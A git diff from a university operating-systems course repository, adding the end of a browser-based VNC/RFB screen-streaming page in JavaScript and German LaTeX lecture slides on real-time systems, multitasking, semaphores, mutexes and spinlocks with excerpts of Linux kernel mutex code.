+ await updateFullRectangle (x + x0, y, x1 - x0, h); + else + await updateInnerStructureVertical (px0, px1, x + x0, y, x1 - x0, h, nothing_empty); + } + x0 = x1; + } + } + + async function updateInnerStructureVertical (px0, px1, x, y, w, h, final) + { + // if (debugging) + // console.log ("updateInnerStructureVertical: x = " + x.toString () + ", y = " + y.toString () + // + ", w = " + w.toString () + ", h = " + h.toString () + ", final = ", final.toString ()); + const empty = new Array (h); + const pixel_unchanged = 1; + const same_color = 2; + let yy = 0; + while (yy < h) + { + let xx = 0; + let o = (y + yy) * wScreen + x; + const start_color = px1[o]; + empty[yy] = (start_color & 0x00ffffff) | (pixel_unchanged | same_color); + while (xx < w && empty[yy] & (pixel_unchanged | same_color)) + { + if (px1[o] != px0[o]) + empty[yy] &= ~pixel_unchanged; + if (px1[o] != start_color) + empty[yy] &= ~same_color; + o++; + xx++; + } + yy++; + } + let y0 = 0; + while (y0 < h && empty[y0] & (pixel_unchanged | same_color)) + y0++; + while (y0 < h) + { + while (y0 < h && !(empty[y0] & (pixel_unchanged | same_color))) + y0++; + let y1 = y0; + while (y1 < h && empty[y1] & (pixel_unchanged | same_color)) + y1++; + if (y1 < h && y1 - y0 < combine_rects_y_min_distance) + for (let yy = y0; yy < y1; yy++) + empty[yy] &= ~(pixel_unchanged | same_color); + y0 = y1; + } + let nothing_empty = 1; + for (let yy = 0; yy < h; yy++) + if (empty[yy] & (pixel_unchanged | same_color)) + nothing_empty = 0; + // if (debugging) + // console.log ("nothing_empty = " + nothing_empty.toString () + ", empty =", empty); + y0 = 0; + while (y0 < h) + { + let y1 = y0; + if (empty[y0] & pixel_unchanged) + { + while (y1 < h && empty[y1] & pixel_unchanged) + y1++; + } + else if (empty[y0] & same_color) + { + while (y1 < h && empty[y1] & same_color && (empty[y1] & 0x00ffffff) == (empty[y0] & 0x00ffffff)) + y1++; + y1--; + while (y1 > y0 && empty[y1] & pixel_unchanged) + y1--; + y1++; + const start_color = empty[y0] | 0xff000000; + pushRectSolid (x, y + y0, w, y1 - y0, debugging ? start_color | 0xffff00 : start_color); + fillRectBuffer (px0, x, y + y0, w, y1 - y0, start_color); + } + else + { + while (y1 < h && !(empty[y1] & (pixel_unchanged | same_color))) + y1++; + if (final) + await updateFullRectangle (x, y + y0, w, y1 - y0); + else + await updateInnerStructureHorizontal (px0, px1, x, y + y0, w, y1 - y0, nothing_empty); + } + y0 = y1; + } + } + + async function decomposeRect (px0, px1, x, y, w, h) + { + await updateInnerStructureVertical (px0, px1, x, y, w, h, 0); + } + + async function rfbFramebufferUpdate (isIncremental, x, y, w, h) + { + if (debugging) + console.log ("rfbFramebufferUpdate: isIncremental = " + isIncremental.toString () + + ", x = " + x.toString () + ", y = " + h.toString () + + ", w = " + w.toString () + ", h = " + h.toString ()); + let id1 = ctx1.getImageData (x, y, w, h); + ctx0.putImageData (id1, x, y, x, y, w, h); + const id0 = ctx0.getImageData (0, 0, wScreen, hScreen); + const px0 = new Uint32Array (id0.data.buffer); + ctx1.drawImage (video, 0, 0, wScreen, hScreen); + id1 = ctx1.getImageData (0, 0, wScreen, hScreen); + let px1 = new Uint32Array (id1.data.buffer); + if (!isIncremental) + { + const color = determineBackgroundColor (px1, x, y, w, h); + if (debugging) + console.log ("background color = " + color.toString ()); + pushRectSolid (x, y, w, h, debugging ? color | 0x7f00ff : color); + fillRectBuffer (px0, x, y, w, h, color); + } + do + { + const length = px0.length; + let o = 0; + while (o < length && px0[o] == px1[o]) + o++; + if (o < length) + { +// if (isIncremental && w >= scroll_detection_min_width && h >= scroll_detection_min_height) +// detectScrolling (px0, px1, x, y, w, h); + await decomposeRect (px0, px1, x, y, w, h); + } + if (rects.length == 0) + { + await sleep (100); + ctx1.drawImage (video, 0, 0, wScreen, hScreen); + id1 = ctx1.getImageData (x, y, w, h); + px1 = new Uint32Array (id1.data.buffer); + } + } + while (rects.length == 0); + } + + function rfbReceivePixelFormat (buffer, offset) + { + if (debugging) + console.log ("received: SetPixelFormat"); + const b = new Uint8Array (buffer); + rfb_bits_per_pixel = b[4]; + rfb_depth = b[5]; + rfb_big_endian_flag = b[6]; + rfb_true_color_flag = b[7]; + rfb_red_maximum = b[8] << 8 + b[9]; + rfb_green_maximum = b[10] << 8 + b[11]; + rfb_blue_maximum = b[12] << 8 + b[13]; + rfb_red_shift = b[14]; + rfb_green_shift = b[15]; + rfb_blue_shift = b[16]; + return 20; + } + + function rfbReceiveEncodings (buffer, offset) + { + if (debugging) + console.log ("received: SetEncodings"); + const b = new Uint8Array (buffer); + const encodings = b[offset + 2] << 8 + b[offset + 3]; + return 4 + 4 * encodings; + } + + function rfbAbort () + { + if (debugging) + console.log ("Aborting RFB transmission ..."); + processing += rfb_aborted; + } + + async function rfbFramebufferUpdateRequest (buffer, offset) + { + if (debugging) + console.log ("received: FramebufferUpdateRequest"); + if (processing) + { +// if (debugging) + if (processing >= rfb_aborted) + console.log ("aborted"); + else + console.log ("already being processed"); + } + else + { + processing++; + let b = new Uint8Array (buffer); + let isIncremental = b[1]; + const x = b[2] * 256 + b[3]; + const y = b[4] * 256 + b[5]; + const w = b[6] * 256 + b[7]; + const h = b[8] * 256 + b[9]; + if (debugging) + { + console.log ("FramebufferUpdateRequest: Initiating processing ..."); + console.log ("wScreen = ", wScreen, ", hScreen = ", hScreen + ", w = ", w, ", h = ", h); + } + rects.length = 0; + if (processing < rfb_aborted) + { + if (isFirstFrame) + { + await rfbFramebufferUpdate (0, 0, 0, wScreen, hScreen); + isFirstFrame = 0; + } + else if (isIncremental) + await rfbFramebufferUpdate (1, x, y, w, h); + else + await rfbFramebufferUpdate (0, x, y, w, h); + if (debugging) + console.log ("FramebufferUpdateRequest: Processing completed. Sending data ... (" + + rects.length.toString () + + " rectangle" + (rects.length != 1 ? "s" : "") + ")"); + const header_buffer = new ArrayBuffer (4); + b = new Uint8Array (header_buffer); + const num_rects = rects.length; + b[0] = 0; + b[1] = rfb_padding; + b[2] = num_rects >>> 8; + b[3] = num_rects & 0xff; + if (debugging) + console.log ("sending rfbFramebufferUpdate header: " + buf2hex (header_buffer)); + socket.send (header_buffer); + rects.forEach ( + function sendIt (r) + { + r.send (); + }); + } + processing--; + } + return 10; + } + + function rfbReceiveKeyEvent (buffer, offset) + { + if (debugging) + console.log ("received: KeyEvent"); + return 8; + } + + function rfbReceivePointerEvent (buffer, offset) + { + if (debugging) + console.log ("received: PointerEvent"); + return 6; + } + + function rfbReceiveCutText (buffer, offset) + { + if (debugging) + console.log ("received: ClientCutText"); + const b = new Uint8Array (buffer); + const length = b[offset + 4] << 24 + b[offset + 5] << 16 + b[offset + 6] << 8 + b[offset + 7]; + return 8 + length; + } + + function rfbServer (event) + { + if (debugging) + console.log ("received: " + buf2hex (event.data)); + const b = new Uint8Array (event.data); + let offset = 0; + while (offset < event.data.byteLength) + { + if (debugging) + console.log ("received RFB packet type " + b[offset].toString ()); + if (b[offset] == 0) + offset += rfbReceivePixelFormat (event.data, offset); + else if (b[offset] == 2) + offset += rfbReceiveEncodings (event.data, offset); + else if (b[offset] == 3) + offset += rfbFramebufferUpdateRequest (event.data, offset); + else if (b[offset] == 4) + offset += rfbReceiveKeyEvent (event.data, offset); + else if (b[offset] == 5) + offset += rfbReceivePointerEvent (event.data, offset); + else if (b[offset] == 6) + offset += rfbReceiveCutText (event.data, offset); + else + { + if (debugging) + console.log ("unknown RFB packet"); + offset = event.data.byteLength; + } + } + } + + function rfbFramebufferHandshake (event) + { + if (debugging) + console.log ("received: " + buf2hex (event.data)); + socket.removeEventListener ("message", rfbFramebufferHandshake); + socket.addEventListener ("message", rfbServer); + const buffer = new ArrayBuffer (24 + rfb_name_length); + const b = new Uint8Array (buffer); + b[0] = wScreen >>> 8; + b[1] = wScreen & 0xff; + b[2] = hScreen >>> 8; + b[3] = hScreen & 0xff; + b[4] = rfb_bits_per_pixel; + b[5] = rfb_depth; + b[6] = rfb_big_endian_flag; + b[7] = rfb_true_color_flag; + b[8] = rfb_red_maximum >>> 8; + b[9] = rfb_red_maximum & 0xff; + b[10] = rfb_green_maximum >>> 8; + b[11] = rfb_green_maximum & 0xff; + b[12] = rfb_blue_maximum >>> 8; + b[13] = rfb_blue_maximum & 0xff; + b[14] = rfb_red_shift; + b[15] = rfb_green_shift; + b[16] = rfb_blue_shift; + b[17] = rfb_padding; + b[18] = rfb_padding; + b[19] = rfb_padding; + b[20] = rfb_name_length >>> 24; + b[21] = rfb_name_length >>> 16; + b[22] = rfb_name_length >>> 8; + b[23] = rfb_name_length & 0xff; + for (let i = 0; i < rfb_name_length; i++) + b[24 + i] = rfb_name[i]; + if (debugging) + console.log ("sending framebuffer parameters: " + buf2hex (buffer)); + socket.send (buffer); + } + + function rfbAuthenticate (event) + { + if (debugging) + console.log ("received: " + buf2hex (event.data)); + socket.removeEventListener ("message", rfbAuthenticate); + socket.addEventListener ("message", rfbFramebufferHandshake); + if (debugging) + console.log ("sending: 00 00 00 00"); + const buffer = new ArrayBuffer (4); + const b = new Uint8Array (buffer); + b[0] = 0; + b[1] = 0; + b[2] = 0; + b[3] = 0; + socket.send (buffer); + } + + function rfbSecurityHandshake (event) + { + if (debugging) + console.log ("received: " + buf2hex (event.data)); + socket.removeEventListener ("message", rfbSecurityHandshake); + socket.addEventListener ("message", rfbAuthenticate); + if (debugging) + console.log ("sending: 01 01"); + const buffer = new ArrayBuffer (2); + const b = new Uint8Array (buffer); + b[0] = 1; + b[1] = 1; + socket.send (buffer); + } + + function rfbConnect (event) + { + socket.addEventListener ("message", rfbSecurityHandshake); + if (debugging) + console.log ("sending: RFB 003.008\\n"); + socket.send ("RFB 003.008\n"); + } + + document.addEventListener ("DOMContentLoaded", + function () + { + video.addEventListener ("play", + function () + { + wScreen = video.videoWidth; + hScreen = video.videoHeight; + canvas1.width = wScreen; + canvas1.height = hScreen; + ctx1 = canvas1.getContext ("2d"); + canvas0.width = wScreen; + canvas0.height = hScreen; + ctx0 = canvas0.getContext ("2d"); + ctx0.beginPath (); + ctx0.rect (0, 0, wScreen, hScreen); + ctx0.fillStyle = "black"; + ctx0.fill (); + if (debugging) + console.log ("Opening WebSocket ..."); + socket = new WebSocket ("wss://streaming.cvh-server.de/websock/wc-6/", ['binary', 'base64']); + socket.binaryType = "arraybuffer"; + socket.addEventListener ("open", rfbConnect); + }, + false); + video.addEventListener ("abort", rfbAbort, false); + video.addEventListener ("emptied", rfbAbort, false); + video.addEventListener ("ended", rfbAbort, false); + video.addEventListener ("error", rfbAbort, false); + video.addEventListener ("pause", rfbAbort, false); + video.addEventListener ("stalled", rfbAbort, false); +// video.addEventListener ("suspend", rfbAbort, false); + }); + + </script> + </body> +</html> diff --git a/20210625/bs-20210625.pdf b/20210625/bs-20210625.pdf new file mode 100644 index 0000000000000000000000000000000000000000..0fe477fbd343c6ae3c99907c00f3f875ae734299 Binary files /dev/null and b/20210625/bs-20210625.pdf differ diff --git a/20210625/bs-20210625.tex b/20210625/bs-20210625.tex new file mode 100644 index 0000000000000000000000000000000000000000..16870ce4950e9d5bf3dcb55b115e7daaccb80ffc --- /dev/null +++ b/20210625/bs-20210625.tex @@ -0,0 +1,1498 @@ +% bs-20110625.pdf - Lecture Slides on Operating Systems +% Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021 Peter Gerwinski +% +% This document is free software: you can redistribute it and/or +% modify it either under the terms of the Creative Commons +% Attribution-ShareAlike 3.0 License, or under the terms of the +% GNU General Public License as published by the Free Software +% Foundation, either version 3 of the License, or (at your option) +% any later version. +% +% This document is distributed in the hope that it will be useful, +% but WITHOUT ANY WARRANTY; without even the implied warranty of +% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +% GNU General Public License for more details. +% +% You should have received a copy of the GNU General Public License +% along with this document. If not, see <http://www.gnu.org/licenses/>. +% +% You should have received a copy of the Creative Commons +% Attribution-ShareAlike 3.0 Unported License along with this +% document. If not, see <http://creativecommons.org/licenses/>. + +\documentclass[10pt,t]{beamer} + +\usepackage{pgslides} +\usepackage{rotating} +\usepackage{pdftricks} +\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx} +\usepackage{eurosym} +\usepackage{tikz} + +\begin{psinputs} + \usepackage[latin1]{inputenc} + \usepackage[german]{babel} + \usepackage[T1]{fontenc} + \usepackage{helvet} + \renewcommand*\familydefault{\sfdefault} + \usepackage{pstricks} + \psset{unit=1cm} +\end{psinputs} + +\title{Treiberentwicklung,\\[\medskipamount]Echtzeit- und Betriebssysteme} +\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} +\date{25.\ Juni 2021} + +\begin{document} + +\newlength{\normalpdfpageheight} +\setlength{\normalpdfpageheight}{\pdfpageheight} + +\maketitleframe + +\setcounter{section}{3} +\section{Echtzeit} +\subsection{Was ist Echtzeit?} + +\begin{frame} + + \showsection + \vspace{-\smallskipamount} + \showsubsection + + \begin{itemize} + \item + Animation in Echtzeit:\\ + schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung + \item + Fantasy-Rollenspiel in Echtzeit:\\ + Der Zeitverlauf der Spielwelt entspricht dem der realen Welt. + \item + Datenverarbeitung in Echtzeit:\\ + Die Daten werden so schnell verarbeitet, wie sie anfallen. + \item + speziell: Echtzeit-Steuerung von Maschinen:\\ + Die Berechnung kann mit den physikalischen Vorgängen schritthalten. + \smallskip + \arrowitem + "`Schnell genug."' + \end{itemize} + +\end{frame} + +\begin{frame} + + \showsubsection + + "`Schnell genug."' -- "`Und wenn nicht?"' + + \begin{itemize} + \item + "`Ganz schlecht."' \textarrow\ \newterm{harte Echtzeit}\\[2pt] + rechtzeitiges Ergebnis funktionsentscheidend + + \smallskip + + \item + "`Unschön."' \textarrow\ \newterm{weiche Echtzeit}\\[2pt] + verspätetes Ergebnis qualitätsmindernd + \begin{itemize} + \baselineskip14pt\par + \item + verwenden und Verzögerung in Kauf nehmen + \item + verwerfen und Ausfall in Kauf nehmen + \end{itemize} + + \smallskip + + \item + "`Es gibt keinen festen Termin. Möglichst schnell halt."'\\[2pt] + \textarrow\ \newterm{keine Echtzeit} + \end{itemize} + +\end{frame} + +\begin{frame}[fragile] + + \showsubsection + + Das Problem: + \vspace{-\bigskipamount} + \begin{center} +% \begin{picture}(6,2) +% \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} +% \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} +% \put(2.75,0.875){\vector(1,3){0.25}} +% \put(2.75,0.875){\line(2,1){0.5}} +% \put(3.25,1.125){\vector(-1,-3){0.25}} +% \end{picture} + \begin{pdfpic} + \begin{pspicture}(6,2) + \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} + \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} + \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) + \end{pspicture} + \end{pdfpic} + \end{center} + + Beispiel: + \begin{itemize} + \item + Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\ + dessen Berechnung maximal \SI{10}{\mics} dauert. + \item + Entweder: Der Steuer-Computer macht noch andere Dinge.\\ + \textarrow\ Risiko der Zeitüberschreitung + \item + Oder: Der Steuer-Computer macht nichts anderes.\\ + \textarrow\ Verschwendung von Rechenzeit\\ + {\color{red}\textarrow\ Na und?} + \end{itemize} + +\end{frame} + +\begin{frame}[fragile] + + \showsubsection + + Das Problem: + \vspace{-\bigskipamount} + \begin{center} + \begin{pdfpic} + \begin{pspicture}(6,2) + \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}} + \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}} + \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6) + \end{pspicture} + \end{pdfpic} + \end{center} + + \medskip + + {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}} + + \medskip + + Große Stückzahlen + \begin{itemize} + \item + 138\,000 Toyota Prius V von Mai 2011 bis April 2012 + \end{itemize} + + \medskip + + Wertvolle Ressourcen + \begin{itemize} + \item + Fähigkeiten einer Raumsonde optimieren + % (Marsumlaufbahn: ab ca.~127\,000 Euro pro kg) + % 70000000 / 550000 = 127._27 + % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/ + % \only<.(1)>{\\[\bigskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.5cm]{curiosity.jpg}}\vspace*{-1cm}} + \item + Implantat: Platz- und Stromverbrauch minimieren + % \only<.(1)>{\\[\smallskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}\vspace*{-1cm}} + \end{itemize} + + \bigskip + + \textarrow\ {\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt] + \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden + +\end{frame} + +\subsection{Multitasking} + +\begin{frame} + + \showsection + \showsubsection + + \begin{minipage}[t]{6cm} + Qualitätssicherung beim Multitasking + \begin{itemize} + \item + Verschiedene Anforderungen: + \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\ + vs.\ \newterm{Durchsatz} + \item + Ressourcen reservieren:\\ + \newterm{Mutexe} + (= spezielle \newterm{Semaphore\/})\\ + \strut + \item + Verschiedene Methoden\\ + der Priorisierung\\ + \strut + \item + Umgehung der Probleme durch + speziell geschriebene Software\\ + (MultiWii, RP6, \dots) + \end{itemize} + \end{minipage} + \hfill + \begin{minipage}[t]{6.2cm} + Qualitätssicherung für Netzwerke: + \begin{itemize} + \item + Verschiedene Anforderungen: + \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz} + \item + Ressourcen reservieren:\\ + \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)} + \item + Klassifizierung und Priorisierung: + \newterm{DiffServ} mit Type-of-Service-Bits (IPv4) + bzw.\ Traffic-Class-Bits (IPv6) im IP-Header + \item + Eigenes Protokoll (Telefondienste):\\ + \newterm{Asynchronous Transfer Mode (ATM)} + \end{itemize} + \end{minipage} + +\end{frame} + +% Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren + +% evtl. Aufgabe: Warte-Problem + +% Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme +% das o.a. Zuteilungsproblem? + +% Danach: Semaphoren, Mutexe, Spinlocks +% Priorisierungsmethoden und -probleme + +\subsectionnonumber{Beispiele für Multitasking} + +\begin{frame} + + \showsubsectionnonumber + + Quadrocopter-Steuerung \emph{MultiWii} + \begin{itemize} + \item + Konfiguration durch bedingte Compilierung (Präprozessor) + \item + In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\ + ansonsten zyklisch einer von bis zu 5 weiteren Tasks. + \end{itemize} + + RP6-Steuerung + \begin{itemize} + \item + Konfiguration durch bedingte Compilierung (Präprozessor) + \item + Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\ + Die Interrupt-Handler zählen Variable hoch. + \item + 10000mal pro Sekunde: Timer-Interrupt\\ + verschiedene Tasks werden unterschiedlich häufig aufgerufen + \item + Nebenbei: 1 Benutzerprogramm + \end{itemize} + + Linux 0.01 + \begin{itemize} + \item + Timer-Interrupt:\only<2->{ Zähler des aktuellen Tasks wird dekrementiert;}\\ + Task mit höchstem Zähler bekommt Rechenzeit. + \item + Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\ + bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen. + \item<3-> + \emph{keine\/} harte Echtzeit + % Aufgabe: Wo wird der Zähler heruntergezählt? + \end{itemize} + +\end{frame} + +\iffalse + +\subsectionnonumber{Zombies} + +\begin{frame} + + \showsubsectionnonumber + + \pause + Wikipedia: + \begin{quote} + Als Zombie wird die fiktive Figur eines zum Leben erweckten + Toten (Untoter) oder eines seiner Seele beraubten, willenlosen + Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe + aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet + dort ursprünglich einen Totengeist. + \end{quote} + + \bigskip + + \pause + Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\ + bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\ + hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\ + wird aber noch in der Prozeßliste geführt ("`untot"'). + \begin{itemize} + \pause + \item + Warum? + \textarrow\ + Ein anderer Prozeß (Elternprozeß) wartet noch auf den + Rückgabewert des beendeten Prozesses. + \pause + \item + Schadet das? + \textarrow\ + Nein. + \pause + \item + Aber? + \textarrow\ + Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen + Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'. + \pause + \item + Beispiel: + Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\ + \textarrow\ + Tochterprozesse werden zu Zombies. + \end{itemize} + +\end{frame} + +\fi + +\subsection{Ressourcen} + +\begin{frame} + + \showsection + \showsubsection + + Ressourcen reservieren + \begin{itemize} + \item + \newterm{Semaphor}\\ + gemeinsame Variable mehrerer Prozesse\\ + zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount] + Ressource belegt \textarrow\ Kontextwechsel + \begin{onlyenv}<1> + \par\medskip + griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\ + "`Eisenbahnsignal"' + \vspace*{-3cm} + \end{onlyenv} + \pause + \medskip + \item + \newterm{Mutex}\\ + Mechanismus, damit immer nur ein Prozeß gleichzeitig\\ + auf eine Ressource zugreifen kann + \begin{onlyenv}<2> + \par\medskip + englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\ + spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\ + % allgemein: auch jemand anderer dürfte freigeben + \vspace*{-3cm} + \end{onlyenv} + \pause + \medskip + \item + \newterm{Spinlock} (\emph{busy waiting\/})\\ + leichtgewichtige Alternative zu Kontextwechsel + \begin{onlyenv}<3> + \par\medskip + englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\ + \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount] + Hardware-Unterstützung: + Prüfen, ob Variable bestimmten Wert hat;\\ + wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten + \vspace*{-3cm} + \end{onlyenv} + \pause + \medskip + \item + \newterm{Kritischer Abschnitt -- critical section}\\ + Programmabschnitt zwischen Reservierung\\ + und Freigabe einer Ressource\\ + \textarrow\ sollte immer so kurz wie möglich sein + \vspace*{-1cm} + \end{itemize} + +\end{frame} + +\begin{frame} + + \showsection + \showsubsection + + Ressourcen reservieren: Beispiele + \begin{itemize} + \item + \newterm{Semaphor}\\ + \file{linux-3.7-rc1/kernel/semaphor.c}\\ + \file{linux-3.7-rc1/drivers/usb/core/file.c} + \medskip + \item + \newterm{Mutex}\\ + \file{linux-3.7-rc1/kernel/mutex.c}\\ + \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c} + \medskip + \item + \newterm{Spinlock}\\ + \file{linux-3.7-rc1/kernel/spinlock.c}\\ + \file{linux-3.7-rc1/kernel/semaphor.c}, + \file{linux-3.7-rc1/kernel/mutex.c} + \end{itemize} + + % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren + + % evtl. Aufgabe: Warte-Problem + + % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme + % das o.a. Zuteilungsproblem? + + % Danach: Semaphoren, Mutexe, Spinlocks + % Priorisierungsmethoden und -probleme + + % Festplatten: completely fair queueing + % cat /sys/block/sdc/queue/scheduler + % "noop" hat sich für SVG gelohnt + + % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos + +\end{frame} + +\begin{frame}[fragile] + + \textbf{Beispiel:} + \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren + + Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62 + + \medskip + + \begin{lstlisting} + struct usb_serial *usb_serial_get_by_index (unsigned index) + { + struct usb_serial *serial; + mutex_lock (&table_lock); + serial = serial_table[index]; + if (serial) + { + mutex_lock (&serial->disc_mutex); + if (serial->disconnected) + { + mutex_unlock (&serial->disc_mutex); + serial = NULL; + } + else + kref_get (&serial->kref); + } + mutex_unlock (&table_lock); + return serial; + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(5.1,6.85){\vector(-1,0){0.5}} + \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}} + \put(5.4,1.35){\vector(-1,0){0.5}} + \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}} + \end{picture} + +\end{frame} + +\setlength{\pdfpageheight}{48cm} + +\begin{frame}[fragile] + + \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten + + Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62 + + \medskip + + \begin{lstlisting} + void __sched mutex_lock (struct mutex *lock) + { + might_sleep (); + __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath); + mutex_set_owner (lock); + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(11.6,1.35){\line(-1,0){1}} + \put(11.6,1.35){\line(0,-1){2.45}} + \put(11.6,-1.10){\vector(-1,0){2.0}} + \end{picture} + + \bigskip + + Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24 + + Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert) + + \medskip + + Assembler: + \begin{lstlisting}[language={[x86masm]Assembler}] + lock dec (lock->count) + jns 1 + call __mutex_lock_slowpath + 1: + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(9,0.95){\line(-1,0){3.5}} + \put(9,0.95){\line(0,-1){2.5}} + \put(9.0,-1.55){\vector(-1,0){1.0}} + \end{picture} + + \bigskip + + Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398 + + \medskip + + \begin{lstlisting} + static __used noinline void __sched + __mutex_lock_slowpath (atomic_t *lock_count) + { + struct mutex *lock = container_of (lock_count, struct mutex, count); + __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0, + NULL, _RET_IP_); + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(11.0,1.40){\line(-1,0){1.0}} + \put(11.0,1.40){\vector(0,-1){2.5}} + \end{picture} + + \bigskip + + Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132 + + \medskip + + \begin{lstlisting} + static inline int __sched + __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass, + struct lockdep_map *nest_lock, unsigned long ip) + { + struct task_struct *task = current; + struct mutex_waiter waiter; + unsigned long flags; + + preempt_disable (); + mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip); + + /* ... */ + + spin_lock_mutex (&lock->wait_lock, flags); + + debug_mutex_lock_common (lock, &waiter); + debug_mutex_add_waiter (lock, &waiter, task_thread_info (task)); + + /* add waiting tasks to the end of the waitqueue (FIFO): */ + list_add_tail (&waiter.list, &lock->wait_list); + waiter.task = task; + + if (atomic_xchg (&lock->count, -1) == 1) + goto done; + + lock_contended (&lock->dep_map, ip); + + for (;;) + { + /* + * Lets try to take the lock again - this is needed even if + * we get here for the first time (shortly after failing to + * acquire the lock), to make sure that we get a wakeup once + * it's unlocked. Later on, if we sleep, this is the + * operation that gives us the lock. We xchg it to -1, so + * that when we release the lock, we properly wake up the + * other waiters: + */ + if (atomic_xchg (&lock->count, -1) == 1) + break; + + /* + * got a signal? (This code gets eliminated in the + * TASK_UNINTERRUPTIBLE case.) + */ + if (unlikely (signal_pending_state (state, task))) + { + mutex_remove_waiter (lock, &waiter, task_thread_info (task)); + mutex_release (&lock->dep_map, 1, ip); + spin_unlock_mutex (&lock->wait_lock, flags); + + debug_mutex_free_waiter (&waiter); + preempt_enable (); + return -EINTR; + } + __set_task_state (task, state); + + /* didn't get the lock, go to sleep: */ + spin_unlock_mutex (&lock->wait_lock, flags); + schedule_preempt_disabled (); + spin_lock_mutex (&lock->wait_lock, flags); + } + + done: + lock_acquired (&lock->dep_map, ip); + /* got the lock - rejoice! */ + mutex_remove_waiter (lock, &waiter, current_thread_info ()); + mutex_set_owner (lock); + + /* set it to 0 if there are no waiters left: */ + if (likely (list_empty (&lock->wait_list))) + atomic_set (&lock->count, 0); + + spin_unlock_mutex (&lock->wait_lock, flags); + + debug_mutex_free_waiter (&waiter); + preempt_enable (); + + return 0; + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(7.9,28.3){\vector(-1,0){0.5}} + \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}} + \put(7.4,2.3){\vector(-1,1){0.4}} + \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}} + \end{picture} + +\end{frame} + +\setlength{\pdfpageheight}{50.5cm} + +\begin{frame}[fragile] + + \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting} + + Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12 + + \medskip + + \begin{lstlisting} + #define spin_lock_mutex(lock, flags) \ + do \ + { \ + spin_lock (lock); \ + (void) (flags); \ + } \ + while (0) + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(8.5,1.75){\line(-1,0){4.5}} + \put(8.5,1.75){\line(0,-1){2.9}} + 